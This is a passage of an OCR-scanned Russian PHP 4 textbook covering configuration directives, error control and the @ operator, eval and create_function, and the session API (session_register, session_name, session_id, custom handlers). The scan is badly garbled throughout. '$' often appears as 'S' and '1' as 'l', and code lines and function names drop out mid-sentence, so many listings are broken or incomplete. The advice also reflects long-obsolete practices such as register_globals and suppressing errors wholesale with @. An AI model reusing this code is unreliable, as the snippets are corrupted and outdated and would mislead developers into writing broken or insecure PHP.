Если РНР установлен как модуль Apache, применяется несколько другой способ конфигурирования. Можно задавать настройки РНР в главном конфигурационном файле сервераили в файлах .htaccess. Только

для этого перед именем каждого параметра нужно поставить специальный префикс (например,не забудьте о пробеле в конце этого пре

фикса) и, конечно же, как это принято в Apache, разделять имя параметра и его значение не знаком равенства, а пробелом.

Некоторые из следующих далее настроек можно переопределить в сценарии с помощью специальных функций (такой, например, как

некоторые — нельзя. За полным списком настроечных директив РНР обращайтесь к Приложению 2.

error_reporting

Устанавливает уровень строгости для системы контроля ошибок РНР. Значение этого параметра должно представлять из себя целое число, которое интерпретируется как десятичное представление двоичной битовой маски. Установленные в 1 биты задают, насколько детальным должен быть контроль. Можно также не возиться с битами, а использовать константы.

Таблица 24.1. Биты, управляющие контролем ошибок

Бит

Константа РНР

Назначение

1

Е ERROR

Фатальные ошибки

2

Е WARNING

Общие предупреждения

4

Е PARSE

Ошибки трансляции

8

Е NOTICE

Предупреждения

16

Е CORE ERROR

Глобальные предупреждения (почти не используются)

32

Е CORE WARNING

Глобальные ошибки (не используется)

Наиболее часто встречающееся сочетание ^^— 7 (1+2+4), которое, как мы можем видеть, задает полный контроль, кроме некритичных предупреждений интерпретатора (таких, например, как обращение к неинициализированной переменной). Оно часто задается по умолчанию при установке РНР. Я же рекомендую первым делом устанавливать значение этой настройки равным 255 (соответствует битовой маске со всеми единичками), т. е. включить абсолютно все сообщения об ошибках, или же воспользоваться константой E_ALL, делающей то же самое.

magic_quotes_gpconloff

Эта настройка указывает РНР, нужно ли ему ставить дополнительный слэш перед всеми апострофами кавычками обратными слэшами \ и нулевыми символами при приеме данных из браузера пользователя — например, поступивших из формы. Я предпочитаю всегда отключать этот параметр, потому что от него больше проблем, чем пользы. Например, следующий вроде бы верный сценарий при повторном нажатии кнопки, если в каком- нибудь текстовом поле введена кавычка, будет ее "размножать":

// Делаем что-нибудь, если нажата кнопка Go!

?>

<form action=<?echo $SCRIPT_NAME?> method-post>

<input type=text name=name value="<?=@HtmlSpecialChars($name)?>">

<input type=text name=email value="<?=@HtmlSpecialChars($email)?>"> cinput type=submit name=submit value="Go!">

</form>

Мы получаем явно не то, что требовалось: мы хотели просто, чтобы значение поля text сохранялось неизменным между запусками сценария. Оператор @ подавляет сообщение об ошибке для следующего за ним выражения, если она происходит (в нашем случае — при первом запуске сценария, когда переменные $name и $email еще не инициализированы).

max_execution_time

Директива устанавливает время (в секундах), через которое работа сценария будет принудительно прервана. Используется она в основном для того, чтобы запретить пользователям захватывать слишком много ресурсов центрального процессора и избежать "зависания" сценария.

track_vars onfoff

Этот параметр очень полезен при программировании. Если он установлен в On, все данные, доставленные методами GET и POST, а также Cookies, будут дополнительно помещены в глобальные массивы SHTTP_GET_VARS, $HTTP_POST_VARS и $HTTP_COOKIE_VARS соответственно.

Существуют и другие, более специфичные, параметры, такие как настройка интерфейсов с базами данных, настройка почтовых возможностей и др. Обычно их установки по умолчанию удовлетворяют всех. Подробнее о них можно прочитать в Приложении 2 или на сайте http://www.php.net.

Контроль ошибок

В процессе работы программы в ней могут возникать ошибки. Одна из самых сильных черт РНР — возможность отображения сообщений об ошибках прямо в браузере, не генерируя пресловутую 500-ю Ошибку сервера (Internal Server Error), как это делают другие языки. В зависимости от состояния интерпретатора сообщения будут либо выводиться в браузер, либо подавляться. ДЛЯ установки режима вывода ОШИбоК СЛУЖИТ фуНКЦИЯ Error_Reporting ( ) .

int Error^Reporting([int $level])

Устанавливает уровень строгости для системы контроля ошибок РНР, т. е. величину параметра error_reporting в конфигурации РНР, который мы недавно рассматривали. Рекомендую первой строкой сценария ставить вызов:

Error^Reporting(1+2+4+8);

Да, поначалу будут очень раздражать "мелкие" сообщения типа "использование неинициализированной переменной". Практика показывает, что эти предупреждения на самом деле свидетельствуют (чаще всего) о возможной логической ошибке в программе, и что при их отключении может возникнуть ситуация, когда программу будет очень трудно отладить.

Примечание

Однажды я просидел несколько часов, тщетно пытаясь найти ошибку в сценарии (он работал, но неправильно). После того как я включил полный контроль ошибок, все выяснилось в течение 5 минут. Вот вам и выигрыш по времени...

Оператор отключения ошибок

Есть и еще один аргумент за то, чтобы всегда использовать полный контроль ошибок. Это — существование в РНР оператора @. Если этот оператор поставить перед любым выражением, то все ошибки, которые там возникнут, будут проигнорированы. Например:

if(!@filemtime("notextst.txt") )

echo "Файла не существует !

Попробуйте убрать оператор @ — тут же получите сообщение: "Файл не найден", а только после этого — вывод оператора echo. Однако с оператором @ предупреждение будет подавлено, что нам и требовалось.

Кстати, в приведенном примере, возможно, несколько логичнее было бы воспользоваться функцией file_exists о , которая как раз и предназначена для определения факта существования файла, но в некоторых ситуациях это нам не подойдет. Например:

//Обновитьфайл,еслиегонесуществуетилионоченьстарый

if(!file_exists($fname) It filemtime(Sfname)<time()-60*60) MyFunctionForUpdateFile(Sfname);

Сравните со следующим фрагментом:

// Обновить файл, если его не существует или он очень старый

if(@filemtime(Sfname)<time()-60*60)

MyFunctionForUpdateFile(Sfname);

Всегда помните об операторе @. Он крайне удобен. Подумайте, стоит ли рисковать, устанавливая слабый контроль ошибок при помощи Error_reporting(), если его и так можно локально установить при помощи @? По-моему, нет.

Пример использования оператора @

Вот еще один полезный пример использования оператора @. Пусть у нас имеется форма си нам нужно в сценарии определить, на

жата ли она. Мы можем сделать это так:

if ( empty1 echo "Кнопка

?>

Но, согласитесь, следующий код куда элегантнее:

<?

if (@$submit) echo "Кнопка нажата!"

?>

<form action=<?=$SCRIPT_NAME?> method=post>

<input

</form>

Старайтесь чаще пользоваться оператором @ и реже — установкой слабого контроля ошибок.

Принудительное завершение программы

void exit

Эта функция немедленно завершает работу сценария. Из нее никогда не происходит возврата. Перед окончанием программы вызываются функции- которые скоро будут нами рассмотрены.

void$message)

Функция делает почти то же самое, что и exit только перед завершением работы выводит строку, заданную в параметре $message. Чаще всего ее применяют, если нужно напечатать сообщение об ошибке и аварийно завершить программу.

Полезным примером применения die о может служить такой код: $filename='/path/to/data-file'; orмогу открыть файл

Здесь мы ориентируемся на специфику оператора or - "выполнять" второй операнд только тогда, когда первый "ложен". Мы уже встречались с этим приемом в главе, посвященной работе с файлами. Заметьте, что оператор | \ здесь применять нельзя — он имеет более высокий приоритет, чем =. С ис-

пользованием | I последний пример нужно было бы переписать следующим образом:

$filename='/path/to/data-flie';

($file=fopen(Sfilename, 'r')) I I die("не могу открыть файл $filename!");

Согласитесь, последнее практически полностью исключает возможность применения | | в подобных конструкциях.

Финализаторы

Слава богу, разработчики РНР предусмотрели возможность указать в программе функцию-финализатор, которая будет автоматически вызвана, как только работа сценария завершится — неважно, из-за ошибки или легально. В такой функции мы можем, например, записать информацию в кэш или обновить какой-нибудь файл журнала работы программы. Что же нужно для этого сделать?

Во-первых, написать саму функцию и дать ей любое имя. Желательно также, чтобы она была небольшой, и чтобы в ней не было ошибок, потому что сама функция, вполне возможно, будет вызываться перед завершением сценария из-за ошибки. Во-вторых зарегистрировать ее как финализатор, передав ее ИМЯ стандартной функции Register_shutdown_function£).

int Register_shutdown_function(string $func)

Регистрирует функцию с указанным именем с той целью, чтобы она автоматически вызывалась перед возвратом из сценария. Функция будет вызвана как при окончании программы, так и при вызовах exit о или die; () , а также при фатальных ошибках, приводящих к завершению сценария — например, при синтаксической ошибке.

Конечно, можно зарегистрировать несколько финальных функций, которые будут вызываться в том же порядке, в котором они регистрировались.

Правда, есть одно "но". Финальная функция вызывается уже после закрытия соединения с браузером клиента. Поэтому все данные, выведенные в ней через echo, теряются (во всяком случае, так происходит в Unix-версии РНР, а под Windows CGI-версия РНР и echo работают прекрасно). Так что лучше не выводить никаких данных в такой функции, а ограничиться работой с файлами и другими вызовами, которые ничего не направляют в браузер.

Последнее обстоятельство, к сожалению, ограничивает функциональность финализаторов: им нельзя поручить, например, вывод окончания страницы, если сценарий по каким-то причинам прервался из-за ошибки. Вообще говоря, надо заметить, что в РНР никак нельзя в случае ошибки в некотором запушенном коде проделать какие-либо разумные действия (кроме, разумеется, мгновенного выхода). Это несколько может ограничивать область при-

менимости РНР для написания шаблонизатора (о шаблонах будет подробно рассказано в части V этой книги).

Генерация кода

во время выполнения

Так как РНР в действительности является транслирующим интерпретатором, в нем заложены возможности по созданию и выполнению кода программы прямо во время ее выполнения. То есть мы можем писать сценарии, которые в буквальном смысле создают сами себя, точнее, свой код! Это незаменимо при написании шаблонизаторов и функций, занимающихся динамическим формированием писем. Мы поговорим о таких функциях в части V книги.

Выполнение кода

int eval(string $code)

Эта функция делает довольно интересную вещь: она берет параметр Sst и, рассматривая его как код программы на РНР, запускает. Если этот код возвратил какое-то значение оператором return (как, например, это обычно делают функции), eval () также вернет эту величину.

Параметр $st представляет собой обычную строку, содержащую участок PHP-программы. То есть в ней может быть все, что допустимо в сценариях:

О ввод-вывод, в том числе закрытие и открытие тэгов <? и ?>;

□ управляющие инструкции: циклы, условные операторы и т. д.;

объявления и вызовы функций;

вложенные вызовы функции eval ().

Тем не менее, нужно помнить несколько важных правил.

□ Код в $st будет использовать те же самые глобальные переменные, что и вызвавшая программа. Таким образом, переменные не локализуются внутри eval О .

□ Любая критическая ошибка (например, вызов неопределенной функции) в коде строки $st приведет к завершению работы всего сценария (разумеется, сообщение об ошибке также напечатается в браузер). Это значит, что мы не можем перехватить все ошибки в коде, вставив его в eval о .

Замечание)

Последний факт вызывает довольно удручающие мысли. К сожалению, разработчики РНР опять не задумались о том, как было бы удобно, если бы eval ()

12 Зак 699

при ошибке в вызванном ей коде просто возвращала значение false, помещая сообщение об ошибке в какую-нибудь переменную (как это сделано, например, в Perl).

Тем не менее, синтаксические ошибки и предупреждения, возникающие при трансляции кода в $st, не приводят к завершению работы сценария, а всего лишь вызывают возврат иззначения ложь. Что ж, хоть кое-что.

Не забывайте, что переменные в строках, заключенных в двойные кавычки, в РНР интерполируются (то есть заменяются на соответствующие значения). Это значит, что, если мы хотим реже использовать обратные слэши для защиты символов-кавычек, нужно стараться применять строки в апострофах для параметра, передаваемого eval о . Например:

eval("$a=$b;");// Неверно!

Вы, видимо, хотели написать следующее:

eval("\$а=\$Ь");

короче будет так:

■eval ('$a=$b');

Возможно, вы спросите: зачем нам использовать eval если она занимается лишь выполнением кода, который мы и так можем написать прямо в нужном месте программы? Например, следующий фрагмент

$i<10; $i++) echo

эквивалентен такому коду:

$i++) echo

Почему бы всегда не пользоваться последним фрагментом? Да, конечно, в нашем примере лучше было бы так и поступить. Однако сила eval заключается прежде всего в том, что параметр $st может являться (и чаще всего является) не статической строковой константой, а сгенерированной переменной. Вот, например, как мы можем создать 100 функций с именами Fund () ...которые будут печатать квадраты первых 100 чисел:

ЛистингГенерация семейства функций

for($i=l; $i<=100; $1++)

{ return

Попробуйте-ка сделать это, не прибегая к услугам eval о !

Я уже говорил, что в случае ошибки (например, синтаксической) в коде, обрабатываемом eval сценарий завершает свою работу и выводит сообщение об ошибке в браузер. Как обычно, сообщение сопровождается указанием того, в какой строке произошла ошибка, однако вместе с именем фай-

ла выдается уведомление, что программа оборвалась в функцииВот

как, например, может выглядеть такое сообщение:

Parse error: parse error in:line 1

Как видим, в круглых скобках после имени файла РНР печатает номер строки, в которой была вызвана сама функция eval а после "on line" • номер строки в параметрео $st. Впрочем, мы никак не можем пере

хватить эту ошибку, поэтому последнее нам не особенно-то интересно.

Давайте теперь в качестве тренировки напишем код, являющийся аналогом инструкции include. Пусть нам нужно включить файл, имя которого хранится вВот как это будет выглядеть:

$code-join("",File($fname));

eval("?>$code<?");

Всего две строчки, но какие... Рассмотрим их подробнее.

Что делает первая строка — совершенно ясно: она сначала считывает все содержимое файлапо строкам в список, а затем образует одну боль

шую строку путем "склеивания" всех элементов этого списка. Заметьте, как получилось лаконично: нам не нужно ни открывать файл, ни использовать функцию() ИЛИ fgets .

Вторая строка, собственно, запускает тот код, который мы только что считали. Но зачем она предваряется символами ?> и заканчивается <? — тэгами открытия и закрытия кода РНР? Наверное, вы уже догадались: суть в том, чтофункцияevalвоспринимаетсвой параметрименнокаккод, анекак

документ со вставками PHP-кода. В то же время, считанный нами файл представляет собой обычный PHP-сценарий, т. е. документ со "вставками" РНР. Иными словами,инструкция include воспринимает файл в

контексте документа, а функция о контексте кода. Поэтому-то мы и используем ?> — переводим текущий контекст в режим восприятия документа, чтобы eval о "осознала" статический текст верно. Мы еще неоднократно столкнемся с этим приемом в будущем.

Генерация функций

В последнем примере мы рассмотрели, как можно создать 100 функций с разными именами, написав программу длиной в 2 строчки. Это, конечно, впечатляет, но мы должны жестко задавать имена функций. Почему бы не поручить эту работу РНР, если нас не особо интересуют получающиеся имена?

Листинг 24.2. Генерация "анонимных"

$Funcs=array();

for($1=0; $i<=100; $i++) (

$id=uniqid("F") ;

eval("function $id() { return $i*$i; }");

5Funes[]=$id;

Теперь мы имеем список SFuncs, который содержит имена наших сгенерированных функций. Как нам вызвать какую-либо из них? Это очень просто:

echo SFuncs [12] () ; // выводит 144

Однако мы могли бы написать с тем же результатом и

echo Fund 2 () ;

при том условии, если бы воспользовались кодом генерации функций из листинга 24.1. Кажется, что так короче? Тогда не торопитесь. Все хорошо, если мы точно знаем, что надо вызвать 12-ю функцию, но как же быть, если номер хранится в переменной — например, в $п? Вот решение:

echo SFuncs [$n] () ; // выводит результат работы $П“Й функции

Не правда ли, просто? Выглядит явно лучше, чем такой код: $F="Func$n";

$F();

Примечание

Тут нам не удастся обойтись без временной переменной $F (вариант с дополнительной eval () тоже не подойдет, т. к. у функции могут быть строковые параметры, и придется перед всеми кавычками ставить слэши, чтобы поместить их в параметр функции eval( ) .

Оказывается, в РНР версии 4 существует функция, которая поможет нам упростить генерацию "анонимных" функций, подобных полученным в примере из листинга 24.2. Называется она create_function () ■

string create_function (string $args, string $code)

Создает функцию с уникальным именем, выполняющую действия, заданные в коде $code (это строка, содержащая программу на РНР). Созданная функция будет принимать параметры, перечисленные в Sargs. Перечисляются они в соответствии со стандартным синтаксисом передачи параметров любой функции. Возвращаемое значение представляет собой уникальное имя функции, которая была сгенерирована. Вот несколько примеров:

$Mul=create__f unction (' Sa, Sb', 'return $a*$b; ');

$Neg=create_function('Sa', 'return -Sa; ') ;

echo $№1(10,20);// выводит 200

echo $Neg(2);// выводит -2

Внимание

Не пропустите последнюю точку с запятой в конце строки, переданной вторым

параметромcreate_function()!

Давайте теперь перепишем наш пример из листинга 24.2 с учетом create_function(). Это довольно несложно. Обратите внимание, насколько сократился код.

$Funcs=array();

for($i=0; §i<=100; $i++)

SFuncs[]=create_function("","return $i*$i;");

echo SFuncs [12] () ;// выводит 144

И последний пример применения анонимных функций -- в программах сортировки с использованием пользовательских функций:

$a=array("orange", "apple", "apricot", "lemon");

usort($a,create_function('Sa,Sb', ' return strcmp(Sa,Sb);')); foreach($a as $key=>$value) echo "Skey: $value<br>\n";

Проверка синтаксической корректности кода

С помощью create_functionо можно проверить, является ли некоторая строка верным PHP-кодом, не запуская при этом сам код. В самом деле, если создание функции с телом — заданной строкой — прошло успешно, значит, код синтаксически корректен. Вот пример:

$fname="file.php";

$code=join("",File(Sfname));

if(create_function("","?>$code<?"))

echo "Файл Sfname является программой на PHP";

else

echo "Файл Sfname - не РНР-сценарий";

Мы используем оператор @, чтобы подавить сообщение о том, что функцию создать не удалось, если файл не является верным PHP-сценарием. И, конечно, нам нужно перевести наш код в контекст восприятия документа, для чего, собственно, и нужно обрамление строки тэгами ?> и <?.

Замечание )

Представленный фрагмент, конечно, будет воспринимать любой текстовый файл и HTML-документ как "программу на PHP". И он будет прав, т. к., действительно, статический текст, в котором нет PHP-вставок, является верным РНР- сценарием.

Другие функции

void usleep(int $micro_seconds)

Вызов этой функции позволяет сценарию "замереть" не указанное время (в микросекундах). При этом затрачивается очень немного ресурсов процессора, так что функцию вполне можно вызывать, чтобы дождаться выполнения какой-нибудь операции другого процесса — например, закрытия им файла.

Примечание

Существует также функция sleep (), которая принимает в параметрах не микросекунды, а секунды, на которые нужно задержать выполнение программы.

int uniqid(string $prefix)

Функция uniqid о возвращает строку, при каждом вызове отличающуюся от результата предыдущего вызова. Параметр $prefix задает префикс (до 114 символов длиной) этого идентификатора.

Зачем нужен префикс9 Представьте себе, что сразу несколько интерпретаторов на разных хостах одновременно вызвали функцию uniqic () • В этом случае существует вероятность того, что результат работы функций совпадет, чего нам бы не хотелось. Задание в качестве префикса имени хоста решит проблему.

Чтобы добиться большей уникальности, можно использовать uniqid о "в связке" с функциями mt_rand() и md5(), описанными в предыдущих главах.

Глава 25

Управление сессиями

Сессии, наконец-то появившиеся в РНР версии 4, представляют собой механизм, позволяющий хранить некоторые (и произвольные) данные, индивидуальные для каждого пользователя (например, его имя и номер счета), между запусками сценария.

Замечание

Термин "сессия" является транслитерацией от английского слова session, что в буквальном переводе должно бы означать "сеанс". Однако последнее слово в программистском жаргоне не особенно-то прижилось (насколько я знаю), поэтому я буду употреблять термин "сессия". И да простят меня студенты, если у них это вызывает нехорошие ассоциации.

Фактически, сессия — это некоторое место долговременной памяти (обычно часть на жестком диске и часть — в Cookies браузера), которое сохраняет свое состояние между вызовами сценариев одним и тем же пользователем. Иными словами, поместив в сессию переменную (любой структуры), мы при следующем запуске сценария получим ее в целости и сохранности. Трудно переоценить удобства, которые это предоставляет нам, программистам.

Зачем нужны сессии?

В Web-программировании есть один класс задач, который может вызвать довольно много проблем, если писать сценарии "в лоб". Речь идет о слабой стороне CGI — невозможности запустить программу на длительное время, позволив ей при этом обмениваться данными с пользователями.

В общем и целом, сценарии должны запускаться, моментально выполняться и возвращать управление системе. Теперь представьте, что мы пишем форму, но в ней такое большое число полей, что было бы глупо поместить их на одну страницу. Нам нужно разбить процесс заполнения формы на несколько этапов, или стадий, и представить их в виде отдельных HTML- документов. Это похоже на работу мастеров Windows — диалоговых окон для ввода данных с кнопками Назад и Дальше, благодаря которым можно переместиться на шаг в любом направлении.

Например, в первом документе с диалогом у пользователя может запрашиваться его имя и фамилия, во втором (если первый был заполнен верно) - данные о его месте жительства, и в третьем — номер кредитной карточки. В любой момент можно вернуться на шаг назад, чтобы исправить те или иные данные. Наконец, если все в порядке, накопленная информация обрабатывается — например, помещается в базу данных.

Реализация такой схемы оказывается для Web-приложений довольно нетривиальной проблемой. Действительно, нам придется хранить все ранее введенные данные в каком-нибудь временном хранилище, которое должно аннулироваться, если пользователь вдруг передумает и "уйдет" с сайта. Для этого, как мы знаем, можно использовать функции сериализации и файлы. Однако ими мы решаем только половину проблемы: нам нужно также как-то привязывать конкретного пользователя к конкретному временному хранилищу. Действительно, предположим, что мы этого не сделали. Тогда, если в момент заполнения какой-нибудь формы одним пользователем на сайт "зайдет" другой и тоже попытается ввести свои данные, получится куча мала.

Все эти проблемы решаются с применением сессий РНР, о которых сейчас и пойдет речь.

Механизм работы сессий

Как же работают сессии? Для начала должен существовать механизм, который бы позволил РНР идентифицировать каждого пользователя, запустившего сценарий. То есть при следующем запуске РНР нужно однозначно определить, кто его запустил: тот же человек, или другой. Делается это путем присвоения клиенту так называемого уникального идентификатора сессии. Чтобы этот идентификатор был доступен при каждом запуске сценария, РНР помещает его в Cookies браузера.

Примечание

Использовать Cookies не обязательно, существует и другой способ. Мы поговорим о нем чуть позже.

Теперь, зная идентификатор (дальше для краткости я буду называть его SID), РНР может определить, в каком же файле на диске хранятся данные пользователя.

Немного о том, как сохранять переменную (обязательно глобальную) в сессии. Для этого мы должны ее зарегистрировать с помощью специальной функции. После регистрации мы можем быть уверены, что при следующем запуске сценария тем же пользователем она получит то же самое значение, которое было у нее при предыдущем завершении программы. Это произойдет потому, что при завершении сценария РНР автоматически сохраняет все

переменные, зарегистрированные в сессии, во временном хранилище. Конечно, можно в любой момент аннулировать переменную — "вычеркнуть" ее из сессии, или же уничтожить вообще все данные сессии.

Где же находится то промежуточное хранилище, которое использует РНР? Вообще говоря, вы вольны сами это задать, написав соответствующие функции и зарегистрировав их как обработчики сессии. Впрочем, делать это не обязательно: в РНР уже существуют обработчики по умолчанию, которые хранят данные в файлах (в системах Unix для этого обычно используется директория /tmp). Если вы не собираетесь создавать что-то особенное, вам они вполне подойдут.

Инициализация сессии

Но прежде, чем работать с сессией, ее необходимо инициализировать. Делается это путем вызова специальной функции session^start о .

Замечание)

Если вы поставили в настройках РНР режим session.auto_start=l, то функция инициализации вызывается автоматически при запуске сценария. Однако, как мы вскоре увидим, это лишает нас множества полезных возможностей (например, не позволяет выбирать свою, особенную, группу сессий). Так что лучше не искушать судьбу и вызывать session_start() в первой строчке вашей программы. Следите также за тем, чтобы до нее не было никакого вывода в браузер — иначе РНР не сможет установить SID для пользователя!

void session_start()

Эта функция инициализирует механизм сессий для текущего пользователя, запустившего сценарий. По ходу инициализации она выполняет ряд действий.

□ Если посетитель запускает программу впервые, у него устанавливается Cookies с уникальным идентификатором, и создается временное хранилище, ассоциированное с этим идентификатором.

□ Определяется, какое хранилище связано с текущим идентификатором пользователя.

□ Если в хранилище имеются какие-то переменные, их значения восстанавливаются. Точнее, создаются глобальные переменные, которые были сохранены в сессии при предыдущем завершении сценария.

Внимание

Вообще говоря, рассмотренный механизм, как всегда, не совсем точно соответствует истинному положению вещей. А именно, все зависит от того, какое значение присвоено настроечному параметру register_globals. Если register_globais=0, то в сессии можно будет сохранять (а потом и восста-

навливать) только величины, содержащиеся в глобальном ассоциативном массиве $HTTP_SESSION_VARS. Если же этот параметр содержит значение "истина" (как обычно и происходит по умолчанию), то в сессии можно регистрировать глобальные переменные.

Регистрация переменных

bool session_register(mixed $name [, mixed $namel, . . .])

PHP узнает о том, что ту или иную переменную нужно сохранить в сессии, если ее предварительно зарегистрировать. Для этого и предназначена функция session_register(). Она принимает в параметрах одно или несколько имен переменных (имена задаются в строках, без знака $ слева), регистрирует их в текущей запущенной сессии и возвращает значение "истина", если все прошло корректно.

Примечание j

Почему же тогда я описал типы параметров как mixed, а не как string? Да потому, что на самом деле в функцию можно передавать не одну строку в каждом параметре, а сразу список строк. Каждая такая строка будет регистрировать отдельную переменную с соответствующим именем. Более того — элементом списка может опять же быть список строк, и т. д.

Нет ничего страшного, если мы дважды зарегистрируем одну и ту же переменную в сессии. На самом деле, чаще всего как раз так и происходит - при повторном запуске сценария. Вот пример:

Листинг25.1. Пример работы с сессиями

session_start() ;

session_register("count") ;

$count=@$count+l;

?>

<body>

<Ь2>Счетчик</Ь2>

В текущей сессии работы с браузером Вы открыли эту страницу <?=$count?> раз (a) . Закройте браузер, чтобы обнулить счетчик. </body>

Как видим, все предельно просто.

Идентификатор сессии и имя группы

Что же, теперь мы уже можем начать писать кое-какие сценарии. Но вскоре возникнет небольшая проблема. Дело в том, что на одном и том же сайте могут сосуществовать сразу несколько сценариев, которые нуждаются в услугах поддержки сессий PHP. Они "ничего не знают" друг о друге, поэтому временные хранилища для сессий должны выбираться не только на основе идентификатора пользователя, но и на основе того, какой из сценариев запросил обслуживание сессии.

Имя группы сессий

Что, не совсем понятно? Хорошо, тогда рассмотрим пример. Пусть разработчик А написал сценарий счетчика, приведенный в листинге 25.1. Он использует переменную $count, и не имеет никаких проблем. До тех пор, пока разработчик В, ничего не знающий о сценарии А, не создал систему статистики, которая тоже использует сессии. Самое ужасное, что он также регистрирует переменную $count, не зная о том, что она уже "занята". В результате, как всегда, страдает пользователь: запустив сначала сценарий разработчика В, а потом — А, он видит, что данные счетчиков перемешались. Непорядок!

Нам нужно как-то разграничить сессии, принадлежащие одному сценарию, от сессий, принадлежащих другому. К счастью, разработчики РНР предусмотрели такое положение вещей. Мы можем давать группам сессий непере- секающиеся имена, и сценарий, знающий имя своей группы сессии, сможет получить к ней доступ. Вот теперь-то разработчики А и В могут оградить свои сценарии от проблем с пересечениями имен переменных. Достаточно в первой программе указать РНР, что мы хотим использовать группу с именем, скажем, sesA, а во второй — sesB.

string session_name([string $newname])

Эта функция устанавливает или возвращает имя группы сессии, которая будет использоваться РНР для хранения зарегистрированных переменных. Если $newname не задан, то возвращается текущее имя. Если же этот параметр указан, то имя группы будет изменено на $newname, при этом функция вернет предыдущее имя.

Внимание

Session_name () лишь сменяет имя текущей группы и сессии, но не создает новую сессию и временное хранилище! Это значит, что мы должны в большинстве случаев вызывать session_name (имя_группы) еще до ее инициализа-

ции — вызова session_start (), в противном случае мы получим совсем не то, что ожидали.

Если функция session_name() не была вызвана до инициализации, РНР будет использовать имя по умолчанию — PHPSESID.

Примечание л

Кстати говоря, имя группы сессий, устанавливаемое рассматриваемой функцией, — это как раз имя того самого Cookie, который посылается в браузер клиента для его идентификации. Таким образом, пользователь может одновременно активизировать две и более сессий — с точки зрения РНР он будет выглядеть как два ли более различных пользователя. Однако не забывайте, что, случайно установив в сценарии Cookie, имя которого совпадает с одним из имен группы сессий, вы "затрете" Cookie.

Вот простой пример применения этой функции.

<?

session_name("CounterScript"

session_start();

session_register("count");

$count=@$count+l;

?>

В текущей сессии Вы открыли эту страницу <?=$count?> раз(a).

Рекомендую всегда указывать имя группы сессии вручную, не полагаясь на значение по умолчанию. За это вам скажут спасибо разработчики других сценариев, когда они захотят использовать вашу программу вместе со своими.

Идентификатор сессии

Мы уже говорили с вами, зачем нужен идентификатор сессии (SID). Фактически, он является именем временного хранилища, которое будет использовано для хранения данных сессии между запусками сценария. Итак, один SID — одно хранилище. Нет SID, нет и хранилища, и наоборот.

В этом месте очень легко запутаться. В самом деле, как же соотносится идентификатор сессии и имя группы? А вот как: имя — это всего ЛИШЬ собирательное название для нескольких сессий (то есть, для многих SID), запущенных разными пользователями. Один и тот же клиент никогда не будет иметь два различных SID в пределах одного имени группы. Но его браузер вполне может работать (и часто работает) с несколькими SID, расположенными логически в разных "пространствах имен".

Итак, все SID уникальны и однозначно определяют сессию на компьютере, выполняющем сценарий -- независимо от имени сессии. Имя же задает

"пространство имен", в которое будут сгруппированы сессии, запущенные разными пользователями. Один клиент может иметь сразу несколько активных пространств имен (то есть несколько имен групп сессий).

string session id([string 5sid])

Функция возвращает текущий идентификатор сессии SID. Если задан napa- метр $sid, то у активной сессии изменяется идентификатор на $sid. Делать это, вообще говоря, не рекомендуется.

Фактически, вызвав session_id() до session^start() , мы можем подключиться к любой (в том числе и к "чужой") сессии на сервере, если знаем ее идентификатор. Мы можем также создать сессию с угодным нам идентификатором, при этом автоматически установив его в Cookies пользователя. Но ЭТО — не лучшее решение, -- предпочтительнее переложить всю "грязную работу" на РНР.

Другие функции

Здесь мы для полноты картины рассмотрим функции.для работы с сессиями, которые применяются гораздо реже, чем уже описанные.

bool session_is_registered(string $name)

Функция session_is_registered() возвращает значение true, если переменная с именем $name была зарегистрирована в сессии, иначе возвращается false.

bool session unregister(struing $name)

Эта функция отменяет регистрацию для переменной с именем Sname для текущей сессии. Иными словами, при завершении сценария все будет выглядеть так, словно переменная с именем $name и не была никогда зарегистрирована. Возвращает true, если все прошло успешно, и false — в противном случае.

Замечание)

После вызова функции session_unregister () глобальная переменная, которая была "аннулирована", не уничтожается, а сохраняет свое значение.

void session^unset()

Функция session_unset О , В отличие ОТ session_unregister () , не ТОЛЬКО отменяет регистрацию переменных (кстати говоря, всех переменных сессии, а не какой-то одной), но и уничтожает глобальные переменные, которые были зарегистрированы в сессии.

string session_save_path([string Spath])

Эта функция возвращает имя каталога, в котором будут помешаться файлы — временные хранилища данных сессии. В случае, если указан параметр, как обычно, активное имя каталога будет переустановлено на $path. При этом функция вернет предыдущий каталог.

К сожалению, функции, которая бы возвращала список всех зарегистрированных в сессии переменных, почему-то нет. Во всяком случае, в РНР версии 4.0.3.

Установка обработчиков сессии

До сих пор мы с вами пользовались стандартными обработчиками сессии, которые РНР использовал каждый раз, когда нужно было сохранить или загрузить данные из временного хранилища. Возможно, они вас не устроят — например, вы захотите хранить переменные сессии в базе данных или еще где-то. В этом случае достаточно будет переопределить обработчики своими собственными функциями, и вот как оно делается.

Обзор обработчиков

Всего существует 6 функций, связанных с сессиями, которые РНР вызывает в тот или иной момент работы механизма обработки сессий. Им передаются различные параметры, необходимые для работы. Сейчас я перечислю все эти функции вместе с их описаниями.

bool handler_open(string $save_path, string $session_name)

Функция вызывается, когда вызывается session_start 0 . Обработчик должен взять на себя всю работу, связанную с открытием базы данных для группы сессий с именем $session_name. В параметре $save_path передается то, что было указано при вызове session_save_path() или же путь к файлам-хранилищам данных сессий по умолчанию. Возможно, если вы используете базу данных, этот параметр будет бесполезным.

booi handler_close()

Этот обработчик вызывается, когда данные сессии уже записаны во временное хранилище и его нужно закрыть.

string handler_read(string Ssid)

Вызов обработчика происходит, когда нужно прочитать данные сессии с идентификатором Ssid из временного хранилища. Функция должна возвращать данные сессии в специальном формате, который выглядит так:

имя1=значение1;имя2=значение2;имяЗ=значениеЗ; . . .;

Здесь задает имя очередной переменной, зарегистрированной в сессии, арезультат вызова функции serialize о для значения этой

переменной. Например, запись может иметь следующий вид:

1

Она говорит о том, что из временного хранилища были прочитаны две целые переменные, первая из которых равна 1, а вторая — 10.

string$sid, string

Этот обработчик предназначен для записи данных сессии с идентификатором $sid во временное хранилище — например, открытое ранее обработчикомПараметр $data задается в точно таком же формате,

который был описан выше. Фактически, чаще всего действия этой функции сводятся к записи в базу данных строки Sdata без каких-либо ее изменений.

$sid)

Обработчик вызывается, когда сессия с идентификаторомдолжна быть

уничтожена.

bool

Данный обработчик — особенный. Он вызывается каждый раз при завершении работы сценария. Если пользователь окончательно "покинул" сервер, значит, данные сессии во временном хранилище можно уничтожить. Этим и должна заниматься функцияЕй передается в параметрах то

время (в секундах), по прошествии которогопринимает решение о не

обходимости "почистить перышки", или "собрать мусор" (garbage collection) — т. е., это максимальное время существования сессии.

Как же должна работать рассматриваемая функция? Очень просто. Например, если мы храним данные сессии в базе данных, мы просто должны удалить из нее все записи, доступ к которым не осуществлялся более, чем секунд. Таким образом, "застарелые" временные хранилища будут иногда очищаться.

